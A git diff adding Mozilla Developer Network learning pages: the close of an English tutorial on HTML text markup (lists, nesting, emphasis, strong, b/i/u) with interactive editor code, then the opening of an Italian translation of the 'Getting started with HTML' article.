+    solution.value = 'Hide solution';
+  } else {
+    textarea.value = userEntry;
+    solution.value = 'Show solution';
+  }
+  updateCode();
+});
+
+var htmlSolution = '&lt;ol&gt;\n&lt;li&gt;Drive to the end of the road&lt;/li&gt;\n&lt;li&gt;Turn right&lt;/li&gt;\n&lt;li&gt;Go straight across the first two roundabouts&lt;/li&gt;\n&lt;li&gt;Turn left at the third roundabout&lt;/li&gt;\n&lt;li&gt;The school is on your right, 300 meters up the road&lt;/li&gt;\n&lt;/ol&gt;';
+var solutionEntry = htmlSolution;
+
+textarea.addEventListener('input', updateCode);
+window.addEventListener('load', updateCode);
+
+// stop tab key tabbing out of textarea and
+// make it write a tab at the caret position instead
+
+textarea.onkeydown = function(e){
+  if (e.keyCode === 9) {
+    e.preventDefault();
+    insertAtCaret('\t');
+  }
+
+  if (e.keyCode === 27) {
+    textarea.blur();
+  }
+};
+
+function insertAtCaret(text) {
+  var scrollPos = textarea.scrollTop;
+  var caretPos = textarea.selectionStart;
+
+  var front = (textarea.value).substring(0, caretPos);
+  var back = (textarea.value).substring(textarea.selectionEnd, textarea.value.length);
+  textarea.value = front + text + back;
+  caretPos = caretPos + text.length;
+  textarea.selectionStart = caretPos;
+  textarea.selectionEnd = caretPos;
+  textarea.focus();
+  textarea.scrollTop = scrollPos;
+}
+
+// Update the saved userCode every time the user updates the text area code
+
+textarea.onkeyup = function(){
+  // We only want to save the state when the user code is being shown,
+  // not the solution, so that solution is not saved over the user code
+  if(solution.value === 'Show solution') {
+    userEntry = textarea.value;
+  } else {
+    solutionEntry = textarea.value;
+  }
+
+  updateCode();
+};</pre>
+</div>
+
+<p>{{ EmbedLiveSample('Playable_code_3', 700, 500, "", "", "hide-codepen-jsfiddle") }}</p>
+
+<h3 id="Active_learning_Marking_up_our_recipe_page">Active learning: Marking up our recipe page</h3>
+
+<p>So at this point in the article, you have all the information you need to mark up our recipe page example. You can choose to either save a local copy of our <a href="https://github.com/mdn/learning-area/blob/master/html/introduction-to-html/html-text-formatting/text-start.html">text-start.html</a> starting file and do the work there, or do it in the editable example below. Doing it locally will probably be better, as then you'll get to save the work you are doing, whereas if you fill it in to the editable example, it will be lost the next time you open the page. Both have pros and cons.</p>
+
+<div class="hidden">
+<h6 id="Playable_code_4">Playable code</h6>
+
+<pre class="brush: html">&lt;h2&gt;Live output&lt;/h2&gt;
+
+&lt;div class="output" style="min-height: 50px;"&gt;
+&lt;/div&gt;
+
+&lt;h2&gt;Editable code&lt;/h2&gt;
+&lt;p class="a11y-label"&gt;Press Esc to move focus away from the code area (Tab inserts a tab character).&lt;/p&gt;
+
+&lt;textarea id="code" class="input" style="min-height: 200px; width: 95%"&gt;Quick hummus recipe
+
+  This recipe makes quick, tasty hummus, with no messing. It has been adapted from a number of different recipes that I have read over the years.
+
+  Hummus is a delicious thick paste used heavily in Greek and Middle Eastern dishes. It is very tasty with salad, grilled meats and pitta breads.
+
+  Ingredients
+
+  1 can (400g) of chick peas (garbanzo beans)
+  175g of tahini
+  6 sundried tomatoes
+  Half a red pepper
+  A pinch of cayenne pepper
+  1 clove of garlic
+  A dash of olive oil
+
+  Instructions
+
+  Remove the skin from the garlic, and chop coarsely
+  Remove all the seeds and stalk from the pepper, and chop coarsely
+  Add all the ingredients into a food processor
+  Process all the ingredients into a paste.
+  If you want a coarse "chunky" hummus, process it for a short time
+  If you want a smooth hummus, process it for a longer time
+
+  For a different flavour, you could try blending in a small measure of lemon and coriander, chili pepper, lime and chipotle, harissa and mint, or spinach and feta cheese. Experiment and see what works for you.
+
+  Storage
+
+  Refrigerate the finished hummus in a sealed container. You should be able to use it for about a week after you've made it. If it starts to become fizzy, you should definitely discard it.
+
+  Hummus is suitable for freezing; you should thaw it and use it within a couple of months.&lt;/textarea&gt;
+
+&lt;div class="playable-buttons"&gt;
+  &lt;input id="reset" type="button" value="Reset"&gt;
+  &lt;input id="solution" type="button" value="Show solution"&gt;
+&lt;/div&gt;</pre>
+
+<pre class="brush: css">html {
+  font-family: sans-serif;
+}
+
+h2 {
+  font-size: 16px;
+}
+
+.a11y-label {
+  margin: 0;
+  text-align: right;
+  font-size: 0.7rem;
+  width: 98%;
+}
+
+body {
+  margin: 10px;
+  background: #f5f9fa;
+}</pre>
+
+<pre class="brush: js">var textarea = document.getElementById('code');
+var reset = document.getElementById('reset');
+var solution = document.getElementById('solution');
+var output = document.querySelector('.output');
+var code = textarea.value;
+var userEntry = textarea.value;
+
+function updateCode() {
+  output.innerHTML = textarea.value;
+}
+
+reset.addEventListener('click', function() {
+  textarea.value = code;
+  userEntry = textarea.value;
+  solutionEntry = htmlSolution;
+  solution.value = 'Show solution';
+  updateCode();
+});
+
+solution.addEventListener('click', function() {
+  if(solution.value === 'Show solution') {
+    textarea.value = solutionEntry;
+    solution.value = 'Hide solution';
+  } else {
+    textarea.value = userEntry;
+    solution.value = 'Show solution';
+  }
+  updateCode();
+});
+
+var htmlSolution = '&lt;h1&gt;Quick hummous recipe&lt;/h1&gt;\n\n&lt;p&gt;This recipe makes quick, tasty hummus, with no messing. It has been adapted from a number of different recipes that I have read over the years.&lt;/p&gt;\n\n&lt;p&gt;Hummus is a delicious thick paste used heavily in Greek and Middle Eastern dishes. It is very tasty with salad, grilled meats and pitta breads.&lt;/p&gt;\n\n&lt;h2&gt;Ingredients&lt;/h2&gt;\n\n&lt;ul&gt;\n&lt;li&gt;1 can (400g) of chick peas (garbanzo beans)&lt;/li&gt;\n&lt;li&gt;175g of tahini&lt;/li&gt;\n&lt;li&gt;6 sundried tomatoes&lt;/li&gt;\n&lt;li&gt;Half a red pepper&lt;/li&gt;\n&lt;li&gt;A pinch of cayenne pepper&lt;/li&gt;\n&lt;li&gt;1 clove of garlic&lt;/li&gt;\n&lt;li&gt;A dash of olive oil&lt;/li&gt;\n&lt;/ul&gt;\n\n&lt;h2&gt;Instructions&lt;/h2&gt;\n\n&lt;ol&gt;\n&lt;li&gt;Remove the skin from the garlic, and chop coarsely.&lt;/li&gt;\n&lt;li&gt;Remove all the seeds and stalk from the pepper, and chop coarsely.&lt;/li&gt;\n&lt;li&gt;Add all the ingredients into a food processor.&lt;/li&gt;\n&lt;li&gt;Process all the ingredients into a paste.&lt;/li&gt;\n&lt;li&gt;If you want a coarse "chunky" hummus, process it for a short time.&lt;/li&gt;\n&lt;li&gt;If you want a smooth hummus, process it for a longer time.&lt;/li&gt;\n&lt;/ol&gt;\n\n&lt;p&gt;For a different flavour, you could try blending in a small measure of lemon and coriander, chili pepper, lime and chipotle, harissa and mint, or spinach and feta cheese. Experiment and see what works for you.&lt;/p&gt;\n\n&lt;h2&gt;Storage&lt;/h2&gt;\n\n&lt;p&gt;Refrigerate the finished hummus in a sealed container. You should be able to use it for about a week after you\'ve made it. If it starts to become fizzy, you should definitely discard it.&lt;/p&gt;\n\n&lt;p&gt;Hummus is suitable for freezing; you should thaw it and use it within a couple of months.&lt;/p&gt;';
+var solutionEntry = htmlSolution;
+
+textarea.addEventListener('input', updateCode);
+window.addEventListener('load', updateCode);
+
+// stop tab key tabbing out of textarea and
+// make it write a tab at the caret position instead
+
+textarea.onkeydown = function(e){
+  if (e.keyCode === 9) {
+    e.preventDefault();
+    insertAtCaret('\t');
+  }
+
+  if (e.keyCode === 27) {
+    textarea.blur();
+  }
+};
+
+function insertAtCaret(text) {
+  var scrollPos = textarea.scrollTop;
+  var caretPos = textarea.selectionStart;
+
+  var front = (textarea.value).substring(0, caretPos);
+  var back = (textarea.value).substring(textarea.selectionEnd, textarea.value.length);
+  textarea.value = front + text + back;
+  caretPos = caretPos + text.length;
+  textarea.selectionStart = caretPos;
+  textarea.selectionEnd = caretPos;
+  textarea.focus();
+  textarea.scrollTop = scrollPos;
+}
+
+// Update the saved userCode every time the user updates the text area code
+
+textarea.onkeyup = function(){
+  // We only want to save the state when the user code is being shown,
+  // not the solution, so that solution is not saved over the user code
+  if(solution.value === 'Show solution') {
+    userEntry = textarea.value;
+  } else {
+    solutionEntry = textarea.value;
+  }
+
+  updateCode();
+};</pre>
+</div>
+
+<p>{{ EmbedLiveSample('Playable_code_4', 900, 500, "", "", "hide-codepen-jsfiddle") }}</p>
+
+<p>If you get stuck, you can always press the <em>Show solution</em> button, or check out our <a href="https://github.com/mdn/learning-area/blob/master/html/introduction-to-html/html-text-formatting/text-complete.html">text-complete.html</a> example on our github repo.</p>
+
+<h3 id="Nesting_lists">Nesting lists</h3>
+
+<p>It is perfectly ok to nest one list inside another one. You might want to have some sub-bullets sitting below a top level bullet. Let's take the second list from our recipe example:</p>
+
+<pre class="brush: html">&lt;ol&gt;
+  &lt;li&gt;Remove the skin from the garlic, and chop coarsely.&lt;/li&gt;
+  &lt;li&gt;Remove all the seeds and stalk from the pepper, and chop coarsely.&lt;/li&gt;
+  &lt;li&gt;Add all the ingredients into a food processor.&lt;/li&gt;
+  &lt;li&gt;Process all the ingredients into a paste.&lt;/li&gt;
+  &lt;li&gt;If you want a coarse "chunky" hummus, process it for a short time.&lt;/li&gt;
+  &lt;li&gt;If you want a smooth hummus, process it for a longer time.&lt;/li&gt;
+&lt;/ol&gt;</pre>
+
+<p>Since the last two bullets are very closely related to the one before them (they read like sub-instructions or choices that fit below that bullet), it might make sense to nest them inside their own unordered list, and put that list inside the current fourth bullet. This would look like so:</p>
+
+<pre class="brush: html">&lt;ol&gt;
+  &lt;li&gt;Remove the skin from the garlic, and chop coarsely.&lt;/li&gt;
+  &lt;li&gt;Remove all the seeds and stalk from the pepper, and chop coarsely.&lt;/li&gt;
+  &lt;li&gt;Add all the ingredients into a food processor.&lt;/li&gt;
+  &lt;li&gt;Process all the ingredients into a paste.
+    &lt;ul&gt;
+      &lt;li&gt;If you want a coarse "chunky" hummus, process it for a short time.&lt;/li&gt;
+      &lt;li&gt;If you want a smooth hummus, process it for a longer time.&lt;/li&gt;
+    &lt;/ul&gt;
+  &lt;/li&gt;
+&lt;/ol&gt;</pre>
+
+<p>Try going back to the previous active learning example and updating the second list like this.</p>
+
+<h2 id="Emphasis_and_importance">Emphasis and importance</h2>
+
+<p>In human language, we often emphasise certain words to alter the meaning of a sentence, and we often want to mark certain words as important or different in some way. HTML provides various semantic elements to allow us to mark up textual content with such effects, and in this section, we'll look at a few of the most common ones.</p>
+
+<h3 id="Emphasis">Emphasis</h3>
+
+<p>When we want to add emphasis in spoken language, we <em>stress</em> certain words, subtly altering the meaning of what we are saying. Similarly, in written language we tend to stress words by putting them in italics. For example, the following two sentences have different meanings.</p>
+
+<p>I am glad you weren't late.</p>
+
+<p>I am <em>glad</em> you weren't <em>late</em>.</p>
+
+<p>The first sentence sounds genuinely relieved that the person wasn't late. In contrast, the second one sounds sarcastic or passive-aggressive, expressing annoyance that the person arrived a bit late.</p>
+
+<p>In HTML we use the {{htmlelement("em")}} (emphasis) element to mark up such instances. As well as making the document more interesting to read, these are recognised by screen readers and spoken out in a different tone of voice. Browsers style this as italic by default, but you shouldn't use this tag purely to get italic styling. To do that, you'd use a {{htmlelement("span")}} element and some CSS, or perhaps an {{htmlelement("i")}} element (see below.)</p>
+
+<pre class="brush: html">&lt;p&gt;I am &lt;em&gt;glad&lt;/em&gt; you weren't &lt;em&gt;late&lt;/em&gt;.&lt;/p&gt;</pre>
+
+<h3 id="Strong_importance">Strong importance</h3>
+
+<p>To emphasize important words, we tend to stress them in spoken language and <strong>bold</strong> them in written language. For example:</p>
+
+<p>This liquid is <strong>highly toxic</strong>.</p>
+
+<p>I am counting on you. <strong>Do not</strong> be late!</p>
+
+<p>In HTML we use the {{htmlelement("strong")}} (strong importance) element to mark up such instances. As well as making the document more useful, again these are recognized by screen readers and spoken in a different tone of voice. Browsers style this as bold text by default, but you shouldn't use this tag purely to get bold styling. To do that, you'd use a {{htmlelement("span")}} element and some CSS, or perhaps a {{htmlelement("b")}} element (see below.)</p>
+
+<pre class="brush: html">&lt;p&gt;This liquid is &lt;strong&gt;highly toxic&lt;/strong&gt;.&lt;/p&gt;
+
+&lt;p&gt;I am counting on you. &lt;strong&gt;Do not&lt;/strong&gt; be late!&lt;/p&gt;</pre>
+
+<p>You can nest strong and emphasis inside one another if desired:</p>
+
+<pre class="brush: html">&lt;p&gt;This liquid is &lt;strong&gt;highly toxic&lt;/strong&gt; —
+if you drink it, &lt;strong&gt;you may &lt;em&gt;die&lt;/em&gt;&lt;/strong&gt;.&lt;/p&gt;</pre>
+
+<h3 id="Active_learning_Lets_be_important!">Active learning: Let's be important!</h3>
+
+<p>In this active learning section, we have provided an editable example. Inside it, we'd like you to try adding emphasis and strong importance to the words you think need them, just to have some practice.</p>
+
+<div class="hidden">
+<h6 id="Playable_code_5">Playable code</h6>
+
+<pre class="brush: html">&lt;h2&gt;Live output&lt;/h2&gt;
+
+&lt;div class="output" style="min-height: 50px;"&gt;
+&lt;/div&gt;
+
+&lt;h2&gt;Editable code&lt;/h2&gt;
+&lt;p class="a11y-label"&gt;Press Esc to move focus away from the code area (Tab inserts a tab character).&lt;/p&gt;
+
+&lt;textarea id="code" class="input" style="min-height: 200px; width: 95%"&gt;&lt;h1&gt;Important notice&lt;/h1&gt;
+&lt;p&gt;On Sunday January 9th 2010, a gang of goths were
+  spotted stealing several garden gnomes from a
+  shopping center in downtown Milwaukee. They were
+  all wearing green jumpsuits and silly hats, and
+  seemed to be having a whale of a time. If anyone
+   has any information about this incident, please
+    contact the police now.&lt;/p&gt;&lt;/textarea&gt;
+
+&lt;div class="playable-buttons"&gt;
+  &lt;input id="reset" type="button" value="Reset"&gt;
+  &lt;input id="solution" type="button" value="Show solution"&gt;
+&lt;/div&gt;</pre>
+
+<pre class="brush: css">html {
+  font-family: sans-serif;
+}
+
+h2 {
+  font-size: 16px;
+}
+
+.a11y-label {
+  margin: 0;
+  text-align: right;
+  font-size: 0.7rem;
+  width: 98%;
+}
+
+body {
+  margin: 10px;
+  background: #f5f9fa;
+}</pre>
+
+<pre class="brush: js">var textarea = document.getElementById('code');
+var reset = document.getElementById('reset');
+var solution = document.getElementById('solution');
+var output = document.querySelector('.output');
+var code = textarea.value;
+var userEntry = textarea.value;
+
+function updateCode() {
+  output.innerHTML = textarea.value;
+}
+
+reset.addEventListener('click', function() {
+  textarea.value = code;
+  userEntry = textarea.value;
+  solutionEntry = htmlSolution;
+  solution.value = 'Show solution';
+  updateCode();
+});
+
+solution.addEventListener('click', function() {
+  if(solution.value === 'Show solution') {
+    textarea.value = solutionEntry;
+    solution.value = 'Hide solution';
+  } else {
+    textarea.value = userEntry;
+    solution.value = 'Show solution';
+  }
+  updateCode();
+});
+
+var htmlSolution = '&lt;h1&gt;Important notice&lt;/h1&gt;\n&lt;p&gt;On &lt;strong&gt;Sunday January 9th 2010&lt;/strong&gt;, a gang of &lt;em&gt;goths&lt;/em&gt; were spotted stealing &lt;strong&gt;&lt;em&gt;several&lt;/em&gt; garden gnomes&lt;/strong&gt; from a shopping center in downtown &lt;strong&gt;Milwaukee&lt;/strong&gt;. They were all wearing &lt;em&gt;green jumpsuits&lt;/em&gt; and &lt;em&gt;silly hats&lt;/em&gt;, and seemed to be having a whale of a time. If anyone has &lt;strong&gt;any&lt;/strong&gt; information about this incident, please contact the police &lt;strong&gt;now&lt;/strong&gt;.&lt;/p&gt;';
+var solutionEntry = htmlSolution;
+
+textarea.addEventListener('input', updateCode);
+window.addEventListener('load', updateCode);
+
+// stop tab key tabbing out of textarea and
+// make it write a tab at the caret position instead
+
+textarea.onkeydown = function(e){
+  if (e.keyCode === 9) {
+    e.preventDefault();
+    insertAtCaret('\t');
+  }
+
+  if (e.keyCode === 27) {
+    textarea.blur();
+  }
+};
+
+function insertAtCaret(text) {
+  var scrollPos = textarea.scrollTop;
+  var caretPos = textarea.selectionStart;
+
+  var front = (textarea.value).substring(0, caretPos);
+  var back = (textarea.value).substring(textarea.selectionEnd, textarea.value.length);
+  textarea.value = front + text + back;
+  caretPos = caretPos + text.length;
+  textarea.selectionStart = caretPos;
+  textarea.selectionEnd = caretPos;
+  textarea.focus();
+  textarea.scrollTop = scrollPos;
+}
+
+// Update the saved userCode every time the user updates the text area code
+
+textarea.onkeyup = function(){
+  // We only want to save the state when the user code is being shown,
+  // not the solution, so that solution is not saved over the user code
+  if(solution.value === 'Show solution') {
+    userEntry = textarea.value;
+  } else {
+    solutionEntry = textarea.value;
+  }
+
+  updateCode();
+};</pre>
+</div>
+
+<p>{{ EmbedLiveSample('Playable_code_5', 700, 500, "", "", "hide-codepen-jsfiddle") }}</p>
+
+<h3 id="Italic_bold_underline...">Italic, bold, underline...</h3>
+
+<p>The elements we've discussed so far have clearcut associated semantics. The situation with {{htmlelement("b")}}, {{htmlelement("i")}}, and {{htmlelement("u")}} is somewhat more complicated. They came about so people could write bold, italics, or underlined text in an era when CSS was still supported poorly or not at all. Elements like this, which only affect presentation and not semantics, are known as <strong>presentational elements</strong> and should no longer be used, because as we've seen before, semantics is so important to accessibility, SEO, etc.</p>
+
+<p>HTML5 redefined <code>&lt;b&gt;</code>, <code>&lt;i&gt;</code> and <code>&lt;u&gt;</code> with new, somewhat confusing, semantic roles.</p>
+
+<p>Here's the best rule of thumb: it's likely appropriate to use <code>&lt;b&gt;</code>, <code>&lt;i&gt;</code>, or <code>&lt;u&gt;</code> to convey a meaning traditionally conveyed with bold, italics, or underline, provided there is no more suitable element. However, it always remains critical to keep an accessibility mindset. The concept of italics isn't very helpful to people using screen readers, or to people using a writing system other than the Latin alphabet.</p>
+
+<ul>
+ <li>{{HTMLElement('i')}} is used to convey a meaning traditionally conveyed by italic: Foreign words, taxonomic designation, technical terms, a thought...</li>
+ <li>{{HTMLElement('b')}} is used to convey a meaning traditionally conveyed by bold: Key words, product names, lead sentence...</li>
+ <li>{{HTMLElement('u')}} is used to convey a meaning traditionally conveyed by underline: Proper name, misspelling...</li>
+</ul>
+
+<div class="note">
+<p>A kind warning about underline: <strong>People strongly associate underlining with hyperlinks.</strong> Therefore, on the Web, it's best to underline only links. Use the <code>&lt;u&gt;</code> element when it's semantically appropriate, but consider using CSS to change the default underline to something more appropriate on the Web. The example below illustrates how it can be done.</p>
+</div>
+
+<pre class="brush: html">&lt;!-- scientific names --&gt;
+&lt;p&gt;
+  The Ruby-throated Hummingbird (&lt;i&gt;Archilochus colubris&lt;/i&gt;)
+  is the most common hummingbird in Eastern North America.
+&lt;/p&gt;
+
+&lt;!-- foreign words --&gt;
+&lt;p&gt;
+  The menu was a sea of exotic words like &lt;i lang="uk-latn"&gt;vatrushka&lt;/i&gt;,
+  &lt;i lang="id"&gt;nasi goreng&lt;/i&gt; and &lt;i lang="fr"&gt;soupe à l'oignon&lt;/i&gt;.
+&lt;/p&gt;
+
+&lt;!-- a known misspelling --&gt;
+&lt;p&gt;
+  Someday I'll learn how to &lt;u&gt;spel&lt;/u&gt; better.
+&lt;/p&gt;
+
+&lt;!-- Highlight keywords in a set of instructions --&gt;
+&lt;ol&gt;
+  &lt;li&gt;
+    &lt;b&gt;Slice&lt;/b&gt; two pieces of bread off the loaf.
+  &lt;/li&gt;
+  &lt;li&gt;
+    &lt;b&gt;Insert&lt;/b&gt; a tomato slice and a leaf of
+    lettuce between the slices of bread.
+  &lt;/li&gt;
+&lt;/ol&gt;</pre>
+
+<h2 id="Summary">Summary</h2>
+
+<p>That's it for now! This article should have given you a good idea of how to start marking up text in HTML, and introduced you to some of the most important elements in this area. There are a lot more semantic elements to cover in this area, and we'll look at a lot more in our 'More Semantic Elements' article, later on in the course. In the next article, we'll be looking in detail at how to <a href="/en-US/docs/Learn/HTML/Introduction_to_HTML/Creating_hyperlinks">create hyperlinks</a>, possibly the most important element on the Web.</p>
+
+<p>{{PreviousMenuNext("Learn/HTML/Introduction_to_HTML/The_head_metadata_in_HTML", "Learn/HTML/Introduction_to_HTML/Creating_hyperlinks", "Learn/HTML/Introduction_to_HTML")}}</p>
+
+<h2 id="In_this_module">In this module</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Learn/HTML/Introduction_to_HTML/Getting_started">Getting started with HTML</a></li>
+ <li><a href="/en-US/docs/Learn/HTML/Introduction_to_HTML/The_head_metadata_in_HTML">What’s in the head? Metadata in HTML</a></li>
+ <li><a href="/en-US/docs/Learn/HTML/Introduction_to_HTML/HTML_text_fundamentals">HTML text fundamentals</a></li>
+ <li><a href="/en-US/docs/Learn/HTML/Introduction_to_HTML/Creating_hyperlinks">Creating hyperlinks</a></li>
+ <li><a href="/en-US/docs/Learn/HTML/Introduction_to_HTML/Advanced_text_formatting">Advanced text formatting</a></li>
+ <li><a href="/en-US/docs/Learn/HTML/Introduction_to_HTML/Document_and_website_structure">Document and website structure</a></li>
+ <li><a href="/en-US/docs/Learn/HTML/Introduction_to_HTML/Debugging_HTML">Debugging HTML</a></li>
+ <li><a href="/en-US/docs/Learn/HTML/Introduction_to_HTML/Marking_up_a_letter">Marking up a letter</a></li>
+ <li><a href="/en-US/docs/Learn/HTML/Introduction_to_HTML/Structuring_a_page_of_content">Structuring a page of content</a></li>
+</ul>
diff --git a/files/it/learn/html/introduction_to_html/getting_started/index.html b/files/it/learn/html/introduction_to_html/getting_started/index.html
new file mode 100644
index 0000000000..47a4006b6c
--- /dev/null
+++ b/files/it/learn/html/introduction_to_html/getting_started/index.html
@@ -0,0 +1,649 @@
+---
+title: Cominciare conl'HTML
+slug: Learn/HTML/Introduction_to_HTML/Getting_started
+translation_of: Learn/HTML/Introduction_to_HTML/Getting_started
+---
+<div>{{LearnSidebar}}</div>
+
+<div>{{NextMenu("Learn/HTML/Introduction_to_HTML/The_head_metadata_in_HTML", "Learn/HTML/Introduction_to_HTML")}}</div>
+
+<p class="summary">In questo articolo trattiamo le basi dell'HTML, per farti cominciare. Definiamo gli elementi, gli attributi e tutti gli altri termini che puoi aver sentito e vediamo come si integrano nel linguaggio. Vediamo inoltre come sono strutturati un elemento HTML e una tipica pagina e spieghiamo altre importanti caratteristiche del linguaggio. Lungo il percorso, giocheremo con un po' di HTML per mantenere viva l'attenzione.</p>
+
+<table class="learn-box standard-table">
+ <tbody>
+  <tr>
+   <th scope="row">Prerequisiti:</th>
+   <td>Alfabetizzazione sull'uso del computer, <a href="https://developer.mozilla.org/en-US/Learn/Getting_started_with_the_web/Installing_basic_software">basic software installed</a>, e conoscenze di base di <a href="https://developer.mozilla.org/en-US/Learn/Getting_started_with_the_web/Dealing_with_files">working with files</a>.</td>
+  </tr>
+  <tr>
+   <th scope="row">Obbiettivo:</th>
+   <td>Acquisire familiarità col linguaggio HTML e fare un po' di pratica nella scrittura di elementi HTML.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Cos'é_l'HTML">Cos'é l'HTML?</h2>
+
+<p>L'{{glossary("HTML")}} (HyperText Markup Language) non è un linguaggio di programmazione ma un <em>linguaggio di markup</em>, usato per dire al browser come strutturare le pagine web. Può essere complicato o semplice, a seconda di come lo sviluppatore desidera che sia. Un file HTML è composto da una serie di {{glossary("Element", "elementi")}} usati per racchiudere o marcare parti di contenuto, così che venga mostrato in un certo modo.  I {{glossary("Tag", "tag")}} che racchiudono il contenuto, possono renderlo un collegamento a un altra pagina web, formattarlo in carattere <em>italico </em>e così via. Per esempio prendiamo la seguente linea di codice:</p>
+
+<pre>My cat is very grumpy</pre>
+
+<p>Se vogliamo che la linea sia isolata, possiamo specificare che è un paragrafo, racchiudendola con due tag  ({{htmlelement("p")}})</p>
+
+<pre class="brush: html">&lt;p&gt;My cat is very grumpy&lt;/p&gt;</pre>
+
+<h2 id="Anatomia_di_un_elemento_HTML">Anatomia di un elemento HTML</h2>
+
+<p>Esploriamo ulteriormente il nostro elemento.</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/9347/grumpy-cat-small.png" style="display: block; height: 255px; margin: 0px auto; width: 821px;"></p>
+
+<p>Le parti sono:</p>
+
+<ol>
+ <li><strong>Il tag di apertura:</strong> consiste nel nome dell'elemento (in questo caso, p), racchiuso tra parentesi angolari (minore e maggiore - &lt; &gt;); indica sia il punto dove inizia l'elemento e quando ha effetto — nel caso in esame indica l'inizio del paragrafo.</li>
+ <li><strong>Il tag di chiusura:</strong> uguale al tag di apertura eccetto che per la presenza di uno slash prima del nome dell'elemento; indica dove finisce l'elemento. Dimenticarsi di mettere il tag di chiusura è un tipico errore e può portare a strani risultati.</li>
+ <li><strong>Il contenuto:</strong> Ciò che sta fra i due tag; in questo caso è solo testo.</li>
+ <li><strong>L'elemento:</strong> l'insieme del tag di apertura, tag di chiusura e contenuto è detto "elemento".</li>
+</ol>
+
+<h3 id="Active_learning_creare_il_primo_elemento_HTML">Active learning: creare il primo elemento HTML</h3>
+
+<p>Modifica la linea sottostante nel campo <em>Input</em> racchiudendola fra i tag &lt;em&gt; e &lt;/em&gt; (inserisci il tag {{htmlelement("em")}} all'inizio della riga per <em>aprire l'elemento</em>, e {{htmlelement("/em")}} al termine della riga per <em>chiudere l'elemento</em>), questo evidenzierà il contenuto con il carattere italico. Vedrai l'effetto dei cambiamenti nel campo <em>Output</em>.</p>
+
+<p>Se fai un errore, puoi sempre usare il pulsante reset per ripristinare la situazione iniziale. Se sei bloccato, premi il pulsante <em>Mostra soluzione</em> per vedere la risposta.</p>
+
+<div class="hidden">
+<h6 id="Playable_code">Playable code</h6>
+
+<pre class="brush: html line-numbers  language-html"><code class="language-html"><span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>h2</span><span class="punctuation token">&gt;</span></span>Live output<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>h2</span><span class="punctuation token">&gt;</span></span>
+<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>div</span> <span class="attr-name token">class</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>output<span class="punctuation token">"</span></span><span class="language-css style-attr token"><span class="attr-name token"> <span class="attr-name token">style</span></span><span class="punctuation token">="</span><span class="attr-value token"><span class="property token">min-height</span><span class="punctuation token">:</span> <span class="number token">50</span>px<span class="punctuation token">;</span></span><span class="punctuation token">"</span></span><span class="punctuation token">&gt;</span></span>
+<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>div</span><span class="punctuation token">&gt;</span></span>
+
+<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>h2</span><span class="punctuation token">&gt;</span></span>Codice modificabile<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>h2</span><span class="punctuation token">&gt;</span></span>
+<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>p</span> <span class="attr-name token">class</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>a11y-label<span class="punctuation token">"</span></span><span class="punctuation token">&gt;</span></span>Premi Esc per uscire dalla textarea (La pressione del tasto Tab, inserirà un carattere di tabulazione).<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>p</span><span class="punctuation token">&gt;</span></span>
+
+<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>textarea</span> <span class="attr-name token">id</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>code<span class="punctuation token">"</span></span> <span class="attr-name token">class</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>playable-code<span class="punctuation token">"</span></span><span class="language-css style-attr token"><span class="attr-name token"> <span class="attr-name token">style</span></span><span class="punctuation token">="</span><span class="attr-value token"><span class="property token">min-height</span><span class="punctuation token">:</span> <span class="number token">100</span>px<span class="punctuation token">;</span><span class="property token">width</span><span class="punctuation token">:</span> <span class="number token">95%</span></span><span class="punctuation token">"</span></span><span class="punctuation token">&gt;</span></span>
+  Questo è il mio testo.
+<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>textarea</span><span class="punctuation token">&gt;</span></span>
+
+<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>div</span> <span class="attr-name token">class</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>controls<span class="punctuation token">"</span></span><span class="punctuation token">&gt;</span></span>
+  <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>input</span> <span class="attr-name token">id</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>reset<span class="punctuation token">"</span></span> <span class="attr-name token">type</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>button<span class="punctuation token">"</span></span> <span class="attr-name token">value</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>Reset<span class="punctuation token">"</span></span> <span class="punctuation token">/&gt;</span></span>
+  <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>input</span> <span class="attr-name token">id</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>solution<span class="punctuation token">"</span></span> <span class="attr-name token">type</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>button<span class="punctuation token">"</span></span> <span class="attr-name token">value</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"Mostra</span> soluzion<span class="punctuation token">e"</span></span> <span class="punctuation token">/&gt;</span></span>
+<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>div</span><span class="punctuation token">&gt;</span></span></code></pre>
+
+<pre class="brush: css line-numbers  language-css"><code class="language-css"><span class="selector token">html </span><span class="punctuation token">{</span>
+  <span class="property token">font-family</span><span class="punctuation token">:</span> <span class="string token">'Open Sans Light'</span>,Helvetica,Arial,sans-serif<span class="punctuation token">;</span>
+<span class="punctuation token">}</span>
+
+<span class="selector token">h2 </span><span class="punctuation token">{</span>
+  <span class="property token">font-size</span><span class="punctuation token">:</span> <span class="number token">16</span>px<span class="punctuation token">;</span>
+<span class="punctuation token">}</span>
+
+<span class="selector token"><span class="class token">.a11y-label</span> </span><span class="punctuation token">{</span>
